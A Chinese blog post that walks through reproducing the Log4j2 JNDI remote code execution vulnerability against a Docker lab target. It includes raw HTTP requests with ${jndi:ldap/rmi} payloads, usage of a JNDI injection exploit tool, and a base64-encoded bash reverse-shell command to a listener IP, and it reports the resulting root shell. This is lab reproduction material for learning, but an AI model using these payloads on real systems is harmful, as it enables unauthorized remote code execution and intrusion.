Apache Log4j2 RCE 复现

最近这2天很火的一个漏洞,据说是核弹级别的😱
博主还想骂人:靶场的URL都打码,怕别人能复现然后偷师??遮遮掩掩的,格局小了

Docker搭建环境

# 拉取docker镜像
docker pull vulfocus/log4j2-rce-2021-12-09:latest
# 启动容器
docker run -d -p 8082:8080 -i -t vulfocus/log4j2-rce-2021-12-09:latest

# 查看正在运行的容器
docker ps
# 进入docker容器的shell
docker exec -it 【Dockers Container ID】 /bin/bash

通过浏览器访问8082端口

能看见这是个错误页面

POC payload

DNS log

POST /hello HTTP/1.1
Host: 10.10.10.10:8082
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.10:8082/hello
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
Connection: close

payload=${jndi:ldap://【DNS log的链接】/a}

NC监听

POST /hello HTTP/1.1
Host: 10.10.10.10:8082
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.10:8082/hello
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
Connection: close

payload=${jndi:rmi://【IP地址:端口】/a}

更进一步的利用

观察payload能发现是使用JNDI的SPI接口,在上面的例程中,这两个用到的SPI分别是LDAP和RMI

一些基础和思考

查阅相关文档后理解得知:JNDI是类似于中间层的一个东西,负责解耦的一个部分;或者说在程序中引用与程序无关的外部资源:可能是数据库资源,也可能是其他资源;用于降低了应用和其他应用程序组件之间的耦合度,使应用更加易于配置和部署;JNDI在J2EE中的角色类似于交换机,目的是在J2EE组件在运行时,间接地查找其它组件、资源或服务

关于JNDI注入攻击

应该是类似于依赖注入的一类,只有在调用的时候才会加载到进程中。问题是:如果加载类或者资源可控,就会成为攻击的一种手段。Google搜索了一下发现GitHub上有JNDI注入工具:下载链接,这个工具能够开启LDAP/RMI服务

用法

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "【注入的命令】" -A 【ldap/rmi服务的IP】

这里需要注意的是:JNDI注入的bash命令需经过base64编码,即【注入的命令】的部分为bash -c {echo,【经过base64编码的命令】}|{base64,-d}|{bash,-i}
在这个例子中,用于反弹shell的命令是bash -i >& /dev/tcp/192.168.1.14/4445 0>&1,使用Burp Suite的编码器编码后代入到JNDI注入的命令中,完整的LDAP/RMI服务启动名命令:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTQvNDQ0NSAwPiYx}|{base64,-d}|{bash,-i}" -A 10.10.10.10
先前的访问的是DNSlog的域名,这一次访问的是刚才建立的LDAP/RMI服务,能看到已经得到一个root权限的shell

小插曲

在先前的研究过程中好多次都执行都不成功,后来是发现由于虚拟化环境中的网络状况有点冲突导致路由结构的改变而导致靶机到监听机的路由不可达

成因分析